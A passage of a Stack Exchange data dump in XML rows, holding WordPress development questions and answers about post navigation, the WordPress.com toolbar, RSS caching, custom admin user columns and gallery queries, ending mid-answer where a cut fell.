  <row Id="3223" PostTypeId="2" ParentId="3222" CreationDate="2010-10-23T17:50:05.000" Score="2" ViewCount="" Body="&lt;p&gt;You have to call &lt;code&gt;setup_postdata($post)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;get_next_post()&lt;/strong&gt; and &lt;strong&gt;get_previous_post()&lt;/strong&gt; depend on calls to a number of properties in the global $post variable which is populated by calling &lt;code&gt;setup_postdata($post)&lt;/code&gt; or &lt;code&gt;the_post()&lt;/code&gt;. If $post is empty it returns null.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-10-23T17:55:37.393" LastActivityDate="2010-10-23T17:55:37.393" CommentCount="1" />
  <row Id="3224" PostTypeId="1" CreationDate="2010-10-23T18:56:26.230" Score="2" ViewCount="297" Body="&lt;p&gt;I recently started a WordPress blog, and now I get an ajax-loaded toolbar showing up at the top of tonnes of pages.  It's all links to my WordPress accounts and blogs and stuff.  It's fine that it shows up when I'm on WordPress or working with my blog, but I see it now on all sites that (I'm presuming) are built on WordPress.com).  i.e. &lt;a href=&quot;http://www.failblog.org&quot; rel=&quot;nofollow&quot;&gt;failblog.org&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to turn off this toolbar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Vw39N.png&quot; alt=&quot;Screenshot of WordPress.com Toolbar&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1362" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-24T03:04:52.013" LastActivityDate="2010-10-24T03:06:07.650" Title="Getting Rid of the WordPress.com Toolbar on Other Sites?" Tags="&lt;admin&gt;&lt;wordpress.com&gt;" AnswerCount="3" />
  <row Id="3225" PostTypeId="2" ParentId="3068" CreationDate="2010-10-23T19:12:54.313" Score="1" ViewCount="" Body="&lt;p&gt;adding up to what has been said : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;detecting WP : try appending /wp-admin to the site address, maybe they didn't change it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;detecting the plugins : Firebug - firefox extension :) &lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-23T19:12:54.313" />
  <row Id="3226" PostTypeId="2" ParentId="3224" CreationDate="2010-10-23T19:40:08.630" Score="1" ViewCount="" Body="&lt;p&gt;There is no way to turn off that admin bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sites like &quot;failblog.org&quot; are actually wordpress.com blogs, so the bar will show up everytime you are logged in to your wordpress.com blog.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-23T19:40:08.630" />
  <row Id="3227" PostTypeId="2" ParentId="3221" CreationDate="2010-10-23T19:48:08.007" Score="0" ViewCount="" Body="&lt;p&gt;What you want is easy to describe, but hard to get working with WP API. I hadn't seen nice and tidy solution so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically WP query is a fancy wrapper for SQL query that gets post rows from database. What you want is practically two different queries for two different sets of posts. WP doesn't currently handle such &lt;em&gt;OR&lt;/em&gt; logic in queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make two queries and combine results, but in that case it will be hard to get pagination right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably one of the reason magazine-style themes became popular, because they specialize in showing multiple sets of posts in several areas, rather than struggling with complex mix of content.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-23T19:48:08.007" CommentCount="3" />
  <row Id="3228" PostTypeId="2" ParentId="3068" CreationDate="2010-10-23T22:43:48.043" Score="1" ViewCount="" Body="&lt;p&gt;To regurgitate and add to what everyone else said it seems there are a few ways you can snoop on other people's WordPress version, theme and plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress Version:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This can be found in a meta tag in&#xA;the head in the form of &lt;code&gt;&amp;lt;meta&#xA;name=&quot;generator&quot; content=&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;This can also commonly be found in&#xA;the footer although it is sometime&#xA;commented out where you can still&#xA;view it in the HTML&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;WordPress Theme:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Easiest way is to view the source&#xA;and look for the theme stylesheet&#xA;which will have all of the theme&#xA;info in it (Theme Name, Author,&#xA;Author Site, etc)&lt;/li&gt;&#xA;&lt;li&gt;This is also commonly found in the&#xA;footer of free themes so the&#xA;original developer can get a free&#xA;link back to their website&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;WordPress Plugins:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The easiest way is to look for an &quot;I&#xA;use these WordPress plugins&quot; page&#xA;which some bloggers do.&lt;/li&gt;&#xA;&lt;li&gt;You could also go through the source&#xA;code and look for any scripts and&#xA;stylesheets that might be loaded as&#xA;well as any unique IDs or class&#xA;names inserted by the plugins. So&#xA;&lt;code&gt;class='socialize'&lt;/code&gt;, &lt;code&gt;&amp;lt;link&#xA;rel=&quot;stylesheet&quot;&#xA;href=&quot;.../wp-content/plugins/socialize/socialize.css&quot;&#xA;type=&quot;text/css&quot; /&amp;gt;&lt;/code&gt;  and &lt;code&gt;&amp;lt;script&#xA;type=&quot;text/javascript&quot;&#xA;src=&quot;.../wp-content/plugins/socialize/socialize.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&#xA;would all be hints that the theme is&#xA;using a plugin called Socialize.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="654" LastActivityDate="2010-10-23T22:43:48.043" />
  <row Id="3229" PostTypeId="1" CreationDate="2010-10-23T23:24:28.527" Score="0" ViewCount="103" Body="&lt;p&gt;I'm having issues with the RSS feed on the blog I just set up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to /feed, I see an old post that I've since deleted. But when I go to /?feed=rss (which redirects to /feed/rss), I see the correct feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, after after signing in as admin, /feed returns the expected result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused as to where the &quot;incorrect&quot; feed is coming from. Is it being cached somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI I'm on 3.01, and the message &quot;An automated WordPress update has failed to complete - please attempt the update again now.&quot; shows up in the dashboard. When I try to re-install 3.01, as the message suggestions, it hangs forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="997" LastActivityDate="2010-10-24T10:55:20.263" Title="RSS feed showing deleted post" Tags="&lt;3.0.1&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3230" PostTypeId="2" ParentId="3224" CreationDate="2010-10-23T23:28:31.243" Score="2" ViewCount="" Body="&lt;p&gt;Add the following code to your user stylesheet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#wpcombar&#xA;{&#xA;    height:         2px     !important;&#xA;    overflow:       hidden  !important;&#xA;}&#xA;#wpcombar:hover,&#xA;#wpcombar:focus&#xA;{&#xA;    height:         28px    !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will shrink down the toolbar to a 2px line. You may use &lt;code&gt;display:none&lt;/code&gt; to remove it completely, but then it will not be accessible when you need it.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-10-23T23:28:31.243" />
  <row Id="3231" PostTypeId="2" ParentId="3224" CreationDate="2010-10-24T03:06:07.650" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@SoftwareGravy:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two (2) ways to get rid of the toolbar that I can think of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Logout of WordPress.com&lt;/strong&gt; when you are on one of these sites:&#xA;&lt;br/&gt;&lt;br/&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101023-211037.png&quot; alt=&quot;How to logout of WordPress.com while on Failblog&quot; /&gt;&lt;br/&gt;&lt;br/&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;If you find logging out of your WordPress blog is inconvenient you can get yourself a &lt;a href=&quot;http://www.wpbeginner.com/beginners-guide/self-hosted-wordpress-org-vs-free-wordpress-com-infograph/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;self-hosted WordPress blog&lt;/strong&gt;&lt;/a&gt; and then, once you logout from your WordPress.com account this problem will go away. &lt;em&gt;(I like to recommend &lt;a href=&quot;http://www.asmallorange.com/hosting/shared/&quot; rel=&quot;nofollow&quot;&gt;A Small Orange&lt;/a&gt; for users moving from WordPress.com to self-hosted because at $25/year they've got the least expensive hosting on a quality webhost I know of, and they are also my current webhost. And just to be explicit, no it is not an affiliate link. :)&lt;/em&gt;&lt;/li&gt;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-24T03:06:07.650" />
  <row Id="3232" PostTypeId="2" ParentId="3221" CreationDate="2010-10-24T03:44:13.570" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@webcodeslinger:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what a basic MySQL query for loading News and Events would look like &lt;em&gt;(this is greatly simplified from what WordPress actually does):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_posts WHERE post_type IN ('news','events') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you want instead is something like this &lt;em&gt;(there are more performant ways to do this in MySQL but they are more complex in WordPress and for most sites you'll never notice a difference):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_posts WHERE post_type IN ('news','events') &#xA;  OR (post_type='stories' AND ID IN &#xA;    (SELECT post_id FROM wp_postmeta WHERE meta_key='mark-as-news')&#xA;  )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So...to add that extra SQL to your main loop's query use a &lt;code&gt;'posts_where'&lt;/code&gt; hook. You can put the following hook code into your theme's &lt;code&gt;functions.php&lt;/code&gt; file &lt;em&gt;(at the bottom of the file will do)&lt;/em&gt; or in one of the &lt;code&gt;.php&lt;/code&gt; files of a plugin if you are creating a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('posts_where','yoursite_posts_where',10,2);&#xA;function yoursite_posts_where($where,$query) {&#xA;  global $wp_the_query;&#xA;  if (is_home() &amp;amp;&amp;amp; $query===$wp_the_query) { // This means home page and the main loop&#xA;    global $wpdb;&#xA;    $where .= &quot; OR ({$wpdb-&amp;gt;posts}.post_type='actor' AND &quot; . &#xA;              &quot;{$wpdb-&amp;gt;posts}.ID IN (&quot; . &#xA;                &quot;SELECT post_id FROM {$wpdb-&amp;gt;postmeta} &quot; .&#xA;                &quot;WHERE meta_key='mark-as-news')) &quot;;&#xA;  }&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-24T08:57:05.340" LastActivityDate="2010-10-24T08:57:05.340" CommentCount="7" />
  <row Id="3233" PostTypeId="1" AcceptedAnswerId="3243" CreationDate="2010-10-24T05:47:12.033" Score="6" ViewCount="607" Body="&lt;p&gt;I'm trying to figure out how to hook into the &lt;code&gt;/wp-admin/users.php&lt;/code&gt; manage page to&#xA;create custom columns for showing the number of posts users have for the custom post types on &lt;a href=&quot;http://2010.wphonors.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WPHonors.com&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15200&quot; rel=&quot;nofollow&quot;&gt;trac ticket&lt;/a&gt; for this but &lt;a href=&quot;http://profiles.wordpress.org/users/nacin&quot; rel=&quot;nofollow&quot;&gt;@nacin&lt;/a&gt; explained why it's a job more for a plugin to do instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been unable to find a way to manipulate the output of the users&#xA;table, so I can add custom columns for CPTs post counts for each user. And&#xA;that may have something to do with the question @nacin asked, what would the&#xA;post count numbers link to. For the current 'post' post count a user has, it&#xA;links to the post manage page, showing all posts for that user&#xA;(&lt;code&gt;/wp-admin/edit.php?author=%author_id%&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to link it somewhere, it would be to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wp-admin/edit.php?post_type=%post_type%&amp;amp;author=%author_id%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that were even somehow possible, I guess. But I don't even necessarily need to link it to anywhere. I mostly want to just show CPT post counts for each person, having &lt;code&gt;600&lt;/code&gt; users and a combined total of &lt;code&gt;300+&lt;/code&gt; posts across &lt;code&gt;4&lt;/code&gt; custom post types. Admins are only one who can submit &lt;code&gt;'post'&lt;/code&gt; posts, so that column in the user's page is useless.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-24T06:24:17.050" LastActivityDate="2010-10-24T16:08:06.293" Title="Showing User's Post Counts by Custom Post Type in the Admin's User List?" Tags="&lt;custom-post-types&gt;&lt;admin&gt;&lt;users&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="3234" PostTypeId="2" ParentId="3233" CreationDate="2010-10-24T06:51:19.023" Score="1" ViewCount="" Body="&lt;p&gt;The following will add it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_manage_users_custom_column($output = '', $column_name, $user_id) {&#xA;    global $wpdb;&#xA;&#xA;    if( $column_name !== 'post_type_count' )&#xA;        return;&#xA;&#xA;    $where = get_posts_by_author_sql( 'post_type', true, $user_id );&#xA;    $result = $wpdb-&amp;gt;get_var( &quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts $where&quot; );&#xA;&#xA;    return '&amp;lt;a href=&quot;' . admin_url(&quot;edit.php?post_type=post_type&amp;amp;author=$user_id&quot;) . '&quot; title=&quot;Post Type Count&quot;&amp;gt;' . $result . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;add_filter('manage_users_custom_column', 'my_manage_users_custom_column', 10, 3);&#xA;&#xA;function my_manage_users_columns($columns) {&#xA;    $columns['post_type_count'] = __( 'Post Type', 'textdomain' );&#xA;&#xA;    return $columns;&#xA;}&#xA;add_filter('manage_users_columns', 'my_manage_users_columns');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-24T07:04:21.403" LastActivityDate="2010-10-24T07:04:21.403" CommentCount="7" />
  <row Id="3235" PostTypeId="2" ParentId="3233" CreationDate="2010-10-24T07:16:21.873" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jaredwilli&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Assuming&lt;/em&gt; I understood the question, what you need to do is hook into the two hooks related to column headers and columns value for the admin manage pages. They are &lt;code&gt;'manage_{$type}_columns'&lt;/code&gt; and &lt;code&gt;'manage_{$type}_custom_column'&lt;/code&gt; where in your use-case &lt;code&gt;{$type}&lt;/code&gt; is &lt;code&gt;users&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The &lt;code&gt;'manage_users_columns'&lt;/code&gt; hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This first one is simple, it lets you specify the column headers and hence the available columns. WordPress hardcodes the value of the &lt;em&gt;&quot;Posts&quot;&lt;/em&gt; column so since you want to change it we are simply going to remove it with &lt;code&gt;unset()&lt;/code&gt; and then add a new column with the same title but which instead has the identifier of &lt;code&gt;'custom_posts'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('manage_users_columns','yoursite_manage_users_columns');&#xA;function yoursite_manage_users_columns($column_headers) {&#xA;  unset($column_headers['posts']);&#xA;  $column_headers['custom_posts'] = 'Posts';&#xA;  return $column_headers;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The &lt;code&gt;'manage_users_custom_column'&lt;/code&gt; hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Next you need to use the &lt;code&gt;'manage_users_custom_column'&lt;/code&gt; hook which only gets called for non-standard columns. We test for &lt;code&gt;$column_name=='custom_posts'&lt;/code&gt; to make our code robust in case we add new user columns in the future and then we grab the user post type counts from the function I wrote &lt;code&gt;_yoursite_get_author_post_type_counts()&lt;/code&gt; which I'll discuss in next. I then played with a few ways to format this but decided an HTML &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; was most appropriate &lt;em&gt;(since it &lt;strong&gt;is&lt;/strong&gt; a table of data)&lt;/em&gt;. If a table doesn't work for you I assume you'll be able to generate different markup pretty easily:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('manage_users_custom_column','yoursite_manage_users_custom_column',10,3);&#xA;function yoursite_manage_users_custom_column($custom_column,$column_name,$user_id) {&#xA;  if ($column_name=='custom_posts') {&#xA;    $counts = _yoursite_get_author_post_type_counts();&#xA;    $custom_column = array();&#xA;    if (isset($counts[$user_id]) &amp;amp;&amp;amp; is_array($counts[$user_id]))&#xA;      foreach($counts[$user_id] as $count)&#xA;        $custom_column[] = &quot;\t&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;{$count['label']}&amp;lt;/th&amp;gt;&quot; .&#xA;                                 &quot;&amp;lt;td&amp;gt;{$count['count']}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;    $custom_column = implode(&quot;\n&quot;,$custom_column);&#xA;  }&#xA;  if (empty($custom_column)) &#xA;    $custom_column = &quot;No Posts!&quot;;&#xA;  else &#xA;    $custom_column = &quot;&amp;lt;table&amp;gt;\n{$custom_column}\n&amp;lt;/table&amp;gt;&quot;;&#xA;  return $custom_column;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Getting Posts Counts by Post Type for Each User/Author&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Lastly there is the retrieval of post counts by post type by author/user. Generally I try to stick with using &lt;code&gt;WP_Query()&lt;/code&gt; when running queries on posts but this query would have required using so many other hooks it just seemed easier to be &lt;em&gt;&quot;naughty&quot;&lt;/em&gt; and do all in one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I omitted any post of &lt;code&gt;$post-&amp;gt;post_type&lt;/code&gt; is &lt;code&gt;'revision'&lt;/code&gt; or &lt;code&gt;'nav_menu_item'&lt;/code&gt; but left in &lt;code&gt;'attachments'&lt;/code&gt;. You might find it better to explicitly include the post types you want instead of excluding the few I did. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also filtered by &lt;code&gt;$post-&amp;gt;post_status&lt;/code&gt; for only &lt;code&gt;'publish'&lt;/code&gt; and &lt;code&gt;'pending'&lt;/code&gt;. If you want to also  include &lt;code&gt;'future'&lt;/code&gt;, &lt;code&gt;'private'&lt;/code&gt; and/or &lt;code&gt;'draft'&lt;/code&gt; you'll need to make the changes in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each page load I only call this &lt;code&gt;_yoursite_get_author_post_type_counts()&lt;/code&gt; function once and then store into a static variable rather than call for each user. I store in an array indexed by author/user IDs containing an array with Post Type name in the element &lt;code&gt;'label'&lt;/code&gt; and of course the count in a same-named element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _yoursite_get_author_post_type_counts() {&#xA;  static $counts;&#xA;  if (!isset($counts)) {&#xA;    global $wpdb;&#xA;    global $wp_post_types;&#xA;    $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  post_type,&#xA;  post_author,&#xA;  COUNT(*) AS post_count&#xA;FROM&#xA;  {$wpdb-&amp;gt;posts}&#xA;WHERE 1=1&#xA;  AND post_type NOT IN ('revision','nav_menu_item')&#xA;  AND post_status IN ('publish','pending')&#xA;GROUP BY&#xA;  post_type,&#xA;  post_author&#xA;SQL;&#xA;    $posts = $wpdb-&amp;gt;get_results($sql);&#xA;    foreach($posts as $post) {&#xA;      $post_type_object = $wp_post_types[$post_type = $post-&amp;gt;post_type];&#xA;      if (!empty($post_type_object-&amp;gt;label))&#xA;        $label = $post_type_object-&amp;gt;label;&#xA;      else if (!empty($post_type_object-&amp;gt;labels-&amp;gt;name))&#xA;        $label = $post_type_object-&amp;gt;labels-&amp;gt;name;&#xA;      else&#xA;        $label = ucfirst(str_replace(array('-','_'),' ',$post_type));&#xA;      if (!isset($counts[$post_author = $post-&amp;gt;post_author]))&#xA;        $counts[$post_author] = array();&#xA;      $counts[$post_author][] = array(&#xA;        'label' =&amp;gt; $label,&#xA;        'count' =&amp;gt; $post-&amp;gt;post_count,&#xA;        );&#xA;    }&#xA;  }&#xA;  return $counts;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The Resultant UI&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;And this is what it looks like applied to my test install of WordPress 3.0.1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101024-031022.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Download the Full Code&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://gist.github.com/643240&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;download&lt;/strong&gt;&lt;/a&gt; the full code from &lt;a href=&quot;http://gist.github.com/&quot; rel=&quot;nofollow&quot;&gt;Gist&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gist.github.com/643240&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wp-post-counts-for-user-by-post-type.php&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can copy this code into your theme's &lt;code&gt;functions.php&lt;/code&gt; file or store include the file in a plugin, whichever you choose.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-24T07:16:21.873" CommentCount="6" />
  <row Id="3236" PostTypeId="2" ParentId="3229" CreationDate="2010-10-24T09:36:42.663" Score="1" ViewCount="" Body="&lt;p&gt;Isn't /feed/rss the rss1, while /feed the rss2 (the wp default)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the upgrade message, delete the .maintenance file in your site's root dir, and do a manual upgrade if the automated one failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re the deleted post, do a hard refresh. The expiry date of your feed might be erroneous or something like that, and a proxy or your system might be using a cached version of your feed indeed.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-10-24T10:55:20.263" LastActivityDate="2010-10-24T10:55:20.263" />
  <row Id="3237" PostTypeId="1" CreationDate="2010-10-24T12:21:08.760" Score="0" ViewCount="425" Body="&lt;p&gt;I'm building a site that uses both WordPress and BuddyPress and I'm looking to build a custom section whereby the user can upload work and people can comment/rate it. I've browsed around at various different options but it would seem using a custom post type like and then allowing members to submit content would be the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is their a better way to do this? Or do you think post types are the best option. To get an idea of the kind of functionality it will require: &lt;a href=&quot;http://dribbble.com/&quot; rel=&quot;nofollow&quot;&gt;http://dribbble.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea will be to have images as URLs like domain.com/designs/my-awesome-work-2201/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when viewing member profiles you will be able to view their latest work etc, so they need to be linked up with a user and not just floating randomly in the database. Not sure how easy this will be to do with normal users who are not authors/editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? Thanks&lt;/p&gt;&#xA;" OwnerUserId="881" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-24T16:37:47.257" LastActivityDate="2011-01-24T16:37:47.257" Title="User-based media gallery" Tags="&lt;buddypress&gt;&lt;gallery&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="3238" PostTypeId="1" AcceptedAnswerId="3280" CreationDate="2010-10-24T13:24:55.267" Score="2" ViewCount="151" Body="&lt;p&gt;We have Wordpress 3.0 working as multi site, and we want all the blogs in the system to have the plugin &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/sexybookmarks/&quot; rel=&quot;nofollow&quot;&gt;sexy bookmarks&lt;/a&gt;&quot;. But it seems to be working only in the main blog.&lt;br&gt;&#xA;Does anyone know how to make it work in all blogs (what code to add to make it work that way)? Or is there a plugin like sexy bookmarks that adds social network icons to each post that works in a multi site version of Wordpress 3.0?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2010-10-26T00:15:38.360" Title="How to make sexy bookmarks plugin work in WPMU" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;multisite&gt;" AnswerCount="2" />
  <row Id="3239" PostTypeId="1" AcceptedAnswerId="3240" CreationDate="2010-10-24T15:13:21.250" Score="0" ViewCount="210" Body="&lt;p&gt;I need to retrieve the URLs for the images inside a gallery, &#xA;what's the appropriate SQL query for this, based on the post ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have something like the following which I found on via &lt;a href=&quot;http://www.yoursiteisvalid.com/validnews/simple-wordpress-image-gallery-v2-using-jquery-lightbox-plugin-726.html&quot; rel=&quot;nofollow&quot; title=&quot;google&quot;&gt;google&lt;/a&gt;, but I don't know how to access the global WP variable from outside Wordpress - what do I need to do? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getGallery($id)&#xA;{&#xA; global $wpdb;&#xA;&#xA; //SQL query to retrieve all attachment of mime type image/jpeg from the given post&#xA; $querystr = &quot;&#xA;     SELECT ID, post_name, guid, meta_value&#xA;     FROM $wpdb-&amp;gt;posts wposts&#xA;     INNER JOIN $wpdb-&amp;gt;postmeta meta ON meta.post_id = wposts.ID AND meta.meta_key = '_wp_attachment_metadata'&#xA;     WHERE wposts.post_type = 'attachment'&#xA;     AND wposts.post_parent = '&quot;.$id.&quot;'&#xA;     AND wposts.post_mime_type = 'image/jpeg' &#xA; &quot;;&#xA;&#xA; //get result set from the query&#xA; $pictures = $wpdb-&amp;gt;get_results($querystr, ARRAY_A);&#xA;&#xA; //return resultset&#xA; return $pictures;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="329" LastActivityDate="2010-10-24T15:15:47.787" Title="Get urls of images in a gallery?" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3240" PostTypeId="2" ParentId="3239" CreationDate="2010-10-24T15:15:47.787" Score="2" ViewCount="" Body="&lt;p&gt;I believe the function is wp_get_attachment_url(). There also is one for thumbnails. See wp-includes/media.php.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-24T15:15:47.787" />
  <row Id="3241" PostTypeId="2" ParentId="3196" CreationDate="2010-10-24T16:00:15.857" Score="0" ViewCount="" Body="&lt;p&gt;Some of the better plugins aren't available on the WP.org site, apparently because of SEO reasons, even though they allow other developers to stuff their plugin descriptions with affiliate links or keyword optimzed links for commercial terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway here is a packaged solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shibashake.com/wordpress-theme/super-wordpress-gallery-plugin&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/super-wordpress-gallery-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="860" LastActivityDate="2010-10-24T16:00:15.857" CommentCount="1" />
  <row Id="3242" PostTypeId="2" ParentId="3233" CreationDate="2010-10-24T16:02:46.893" Score="2" ViewCount="" Body="&lt;p&gt;The following is a variation on sorich87's answer, as I couldn't get his to work, and I wanted to support multiple types automatically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_manage_users_custom_column($output = '', $column, $user_id) {&#xA;    global $wpdb;&#xA;    $result = $wpdb-&amp;gt;get_var( &quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts WHERE post_type = '$column' AND post_author = $user_id&quot;);&#xA;    return '&amp;lt;a href=&quot;' . admin_url(&quot;edit.php?post_type=$column&amp;amp;author=$user_id&quot;) . '&quot;&amp;gt;' . $result . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;add_filter('manage_users_custom_column', 'my_manage_users_custom_column', 10, 3);&#xA;&#xA;function my_manage_users_columns($columns) {&#xA;    // create columns for each type, make sure to use the post_type 